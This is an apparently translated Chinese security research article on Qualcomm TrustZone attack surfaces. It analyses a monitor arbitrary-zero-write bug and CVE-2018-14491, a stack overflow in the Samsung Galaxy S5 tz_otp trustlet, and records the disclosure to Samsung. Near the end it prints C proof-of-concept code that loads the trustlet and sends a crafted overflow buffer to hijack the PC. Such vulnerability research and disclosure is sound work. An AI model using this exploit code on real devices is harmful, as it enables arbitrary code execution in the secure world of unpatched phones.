导语:在上一篇文章中,我们简单介绍了TrustZone,这是第二篇文章,我们将从更具技术含量的层面上来剖析TrustZone暴露给攻击者的攻击面,还有在TrustZone不同的权限下获取代码执行将会带来什么后果。

上一篇文章中,我们简单介绍了TrustZone,这是第二篇文章,我们将从更具技术含量的层面上来剖析TrustZone暴露给攻击者的攻击面,还有在TrustZone不同的权限下获取代码执行将会带来什么后果。

TrustZone攻击面

确定目标的攻击面永远都是漏洞研究过程的第一步,TrustZone的攻击区域通常包括三点:

1. 直接发送到监视器的消息处理器

2. 在TrustZone中运行的第三方应用程序(trustlet)。

3. 安全引导组件,它允许在加载TrustZone之前执行代码,从而能够破坏TrustZone本身。

本篇文章主要讲解上面提到的前两点中的漏洞,以及它们的影响和如何进行处理。

跟踪用户输入

为了进行漏洞探索,必须确定暴露给攻击者的攻击面,比如哪些参数可以影响应用程序。为了做到这一点,我们需要跟踪从普通环境(normal world)传递到安全环境(secure world)的参数,来确定secure world中的函数是如何调用的。

分析开源通信驱动程序

要搞清楚参数是如何从normal world中传递到secure world中的,比如在SMC(secure monitor call)中传递参数,那就要好好看看normal world开源驱动程序。正如驱动程序源代码中所描述,执行SMC指令(名为smc)的函数由称为scm_call的函数调用(其中scm代表安全通道管理器)。当信息需要从normal world传递到secure world中时调用函数,通过完成下面的结构来执行此操作:

1.png

由于scm_response结构,我们收到了TrustZone内核的响应:

2.png

下面的列表显示了实际执行SMC操作码的最后一个函数:

3.png

在这个列表中,r1指向内核堆栈地址,r2指向分配的scm_command结构的物理地址。r0设置为1,表示该scm是正常的。不过,对于需要较少数据的命令,或者当不需要结构时,存在另一种形式的scm_call函数。

另一种形式的SCM叫做scm_call_[1-4],其中数字是传递给监视器的参数编号。这些函数用于发出具有给定参数,服务和命令ID的SMC指令。我们使用macro SCM_ATOMIC函数将服务ID,命令ID和参数放在r0中。由于r0的值不再是1,它会向TrustZone内核指示下面的SCM指令是一个原子调用,其参数编号在r0中编码,而参数本身就放在r2到r5中。

4.png

攻击者的第一个攻击面:安全监视器(基于Qualcomm的设备)

现在我们已经确定了normal world与secure world如何通信(这多亏了有监视器,充当了不同环境之间的桥梁),我们可以搜索函数和它们的服务ID和命令ID之间的连接。

为了获得normal world所请求的函数,填充有结构的数组静态的存储在monitor中,此静态数组给攻击者提供了一个攻击面,结构的格式如下:

1.服务ID和命令ID的连接

2.指向SCM函数名的指针

3.一个未知整数

4.指向处理功能的指针

5.参数编号

6.数组由每个参数大小填充,参数类型为整型

Qualcomm的可信执行环境(TEE)实现中的漏洞

这个漏洞和监视器消息处理程序的逆向是Gal Beniamini发现完成的,文章在这里。这个漏洞在Samsung S5上成功复现,它可以在处理器的最高权限模式下执行任意代码,这个最高权限模式也就是监控模式(EL3)。

通过查看SCM中的所有函数并逐一进行审计分析,又在tzbsp_es_is_activated函数中发现了一个新漏洞,这个漏洞允许向攻击者提供的任意地址中写入一个DWORD,值为0,包括TrustZone监视器和内核:

5.png

对于这个漏洞的利用,本文不过多讲解,如果你有兴趣的话,可以参考Gal Beniamini的这篇博客,有详细的分析。

安装以下补丁可以修复此漏洞:

6.png

漏洞影响

这个漏洞允许攻击者在监视器运行时执行任意代码,也就是EL3模式。这可以用于在normal world和secure world中植入后门,也可以被用作一个利用工具或者在secure world中插入一个debugger,以便在TrustZone OS中发现新的漏洞。

第三方应用程序的漏洞(CVE-2018-14491)

基于Qualcomm设备上的应用程序trustlets可以在/ system / vendor / firmware或/ firmware / image中搜索到,并且拆分成了不同的文件,即trustlet_name.b00,trustlet_name.b01…和trustlet_name.mdt。这个在上一篇文章中说过了,Qualcomm的TrustZone实现使操作系统能够在TrustZone中加载二进制文件,以扩展安全执行环境提供的功能。这些二进制文件称为trustlet。Gal Beniamini对文件系统中的trustlet的格式进行了彻底的逆向分析,并写了一个脚本来重新创建一个可以加载到IDA中的有效的ELF文件。

不过,对trustlets文件格式进行逆向分析完成之后,还有两个问题:

1.normal world如何向secure world发起请求来加载trustlet?

2.Normal world在运行时如何与它通信?

这些任务由qseecom驱动程序执行,这个驱动程序提供一个API来执行高级任务,依赖于安全通道管理器(特别是scm_call函数)提供的原语。

加载trustlets所需的所有函数都可以通过这个内核模块获得,该内核模块又使用适当的请求命令ID将正确的结构填充到Secure World中请求的功能。然后,Normal world就可以使用qseecom_load_app函数来加载trustlet,并使用__qseecom_send_cmd函数向其发送数据。

一旦加载到secure world,内核就会为该trustlet分配一个ID并调用其入口函数。此入口函数将trustlet注册到TrustZone内核,并提供一个处理程序,该程序会在Normal World调用trustlet的功能时触发,如图:

7.png

接下来,本文将重点关注tz_opt V1的trustlet,Samsung Galaxy S5中就是这个版本,我们来分析一下。

接收消息的处理函数提供不同的函数,并且必须始终以命令otp_init开头,以初始化trustlet的内部状态,而不是陷入琐碎的错误案例处理。查看不同的函数,我们注意到它们都受堆栈cookie的保护,除了一个名为otp_resync_account的函数。查看这个函数中第一行的汇编语言,我们注意到一个BLE指令,它是一个有符号的比较(这对应着hexrays视图中的比较 >384)。这就是一个突破口,因为我们输入缓冲不能包含空字节,因此这意味着对于无符号数字,这种比较的输出总是正值。不过,由于这个有符号的比较,我们可以在缓冲区中传递一个负值,比如0xFFFFFFFF,然后接着调用sub_68F8函数的分支(变量v3 在函数开头被初始化为0)。

8.png

9.png

这个函数有一个memcpy漏洞,其length和src参数直接由来自Normal World提供的缓冲区的攻击者控制,我们不需要任何内存泄漏,因为这个函数也没有堆栈cookie!

另一个突破就是这个memcpy()函数,尤其是因为复制的数据及其长度由用户控制。是的,这意味着在没有cookie的函数中存在栈溢出漏洞。

10.png

漏洞影响

该漏洞使攻击者能够在EL0 secure world环境中执行任意代码。这是相当危险的,因为它给TrustZone内核提供了执行系统调用的能力,这样一来可以扩大攻击面并在TrustZone内核中提权。此外,它还提供了对TrustZone操作系统功能的访问,例如打开和读取系统调用来访问安全文件系统(SFS)。Secure-filesystem是一个可用于永久存储的加密文件系统。它使用仅来自secure world的特殊硬件密钥加密,然后确认来自可能已遭破坏的normal world中数据的机密性。

报告漏洞

这个漏洞已于2018年7月3日报告给三星移动安全公司。三星证实,某些地区或运行商使用的基于高通的三星Galaxy S5确实存在该漏洞。这个易受攻击的组件已经过时,而且在以后的手机产品中会被禁用或删除,也有一些地区或运营商已经采取了措施来降低这个漏洞的影响。三星也表示,他们计划对受影响的手机型号进行修复漏洞。

漏洞利用

为了利用此漏洞,我们需要与内核进行交互并且要求它将trustlet加载到TrustZone中。为了方便,我们可以对调整一下Gal Beniamini对Widevine的研究工作来加载和利用tz_otp trustlet。这里可重用的部分是应用程序句柄的初始化,它包括打开libQSEEComAPI.so共享库,公开与内核通信所需的功能并且与TrustZone交互,例如QSEECom_start_app,QSEECom_stop_app和QSEECom_send_cmd函数等。

libQSEEComAPI.so库允许我们使用以下代码将tz_otp加载 到trustzone:

int main() {
    //Getting the global handle used to interact with QSEECom
    struct qcom_wv_handle* handle = initialize_tzotp_handle();
    if (handle == NULL) {
        perror("[-] Failed to initialize tz_otp handle");
        return -errno;
    }
    //Loading the tz_otp application
    int res = (*handle->QSEECom_start_app)((struct QSEECom_handle **)&handle->qseecom,
                                            TZOTP_PATH, TZOTP_APP_NAME, TZOTP_BUFFER_SIZE);
    if (res < 0) {
        perror("[-] Failed to load tz_otp");
        return -errno;
    }
    printf("[+] tz_otp load res: %d\n", res);

下面的代码允许我们初始化tz_otp状态并触发漏洞:

int otp_init(struct qcom_tzotp_handle* handle) {
 
    uint32_t cmd_req_size = QSEECOM_ALIGN(0x4000);
    uint32_t cmd_resp_size = QSEECOM_ALIGN(8);
    uint32_t* cmd_req = malloc(cmd_req_size);
    uint32_t* cmd_resp = malloc(cmd_resp_size);
 
    memset(cmd_req, 0, cmd_req_size);
    memset(cmd_resp, 'B', cmd_resp_size);
 
    // OTP_INIT
    cmd_req[0] = OTP_INIT;
    cmd_req[1] = 0;
    cmd_req[2] = 0;
    cmd_req[3] = 0;
    cmd_req[4] = 0;
    cmd_req[5] = 0;
 
    int res = (*handle->QSEECom_set_bandwidth)(handle->qseecom, true);
    res = (*handle->QSEECom_send_cmd)(handle->qseecom,
                                            cmd_req,
                                        cmd_req_size,
                                        cmd_resp,
                                        cmd_resp_size);
    return 0;
}
 
int craft_buffer(uint32_t *cmd_req, int *index) {
 
    uint32_t cmd_req_size = QSEECOM_ALIGN(0x4000);
 
    memset(cmd_req, 0, cmd_req_size);
 
    // OTP_RESYNC_TOKEN
    cmd_req[0] = OTP_RESYNC_TOKEN;
    int i;
    for (i = 1; i <= 0x551; i++){
            cmd_req[i] = 0x41414141;
    }
 
    cmd_req[i++] = JUNK;
    cmd_req[i++] = JUNK;
    cmd_req[i++] = JUNK;
 
    *index = i;
 
    // int overflow on the > 384
    cmd_req[286] = 0xFFFFFFFF;
 
    return 0;
}
 
int crash(struct qcom_tzotp_handle* handle) {
 
    uint32_t cmd_req_size = QSEECOM_ALIGN(0x4000);
    uint32_t cmd_resp_size = QSEECOM_ALIGN(8);
    uint32_t* cmd_resp = malloc(cmd_resp_size);
    uint32_t* cmd_req = malloc(cmd_req_size);
    int i;
 
    otp_init(handle);
 
    memset(cmd_resp, 'B', cmd_resp_size);
 
    craft_buffer(cmd_req, &i);
    cmd_req[i++] = JUNK+1; // PC
 
    int res = (*handle->QSEECom_send_cmd)(handle->qseecom,
                                            cmd_req,
                                        cmd_req_size,
                                        cmd_resp,
                                        cmd_resp_size);
    return 0;
}

trustlet崩溃的结果可以在/ sys / kernel / debug / tzdbg日志文件中找到。可以观察到,如果连续两次崩溃,PC寄存器的值是一样的。这个信息让我们可以获取trustlet内存映射的泄露信息,并且使我们能够执行rop-chain来进行攻击利用。现在,也可以利用TrustZone内核中暴露的任何系统调用。

重点关注

这里有两件事情让人惊讶。

第一件事是堆栈cookie的应用似乎并不是很完善。目前还不是很清楚为什么堆栈cookie不适用于每个函数,我们的一个假设是开发人员必须对一个函数进行注释来告诉编译器,这个函数是受到堆栈cookie保护的。

第二件事是,尽管存在一种形式的ASLR(随机地址空间分配,作用是防止攻击者直接定位攻击代码位置),但似乎在手机的某个正常运行时间之后,每个trustlet都被有计划有顺序的加载到同一地址,这大大降低了ASLR的初始作用。

总结

在本文中,我们讨论了在normal world中为用户提供的两个攻击面,并详细分析了这两个漏洞:监视器中的一个漏洞,这个漏洞的利用允许攻击者在CPU的最高权限异常级别中执行任意代码;另一个漏洞在trustlet中,这个漏洞可以在secure world用户模式(EL0)中执行任意代码。

最后一个漏洞可以用来审计在TrustZone中运行的安全操作系统的安全性,并且为攻击者开启了一个新的攻击面。

源链接

Hacking more

...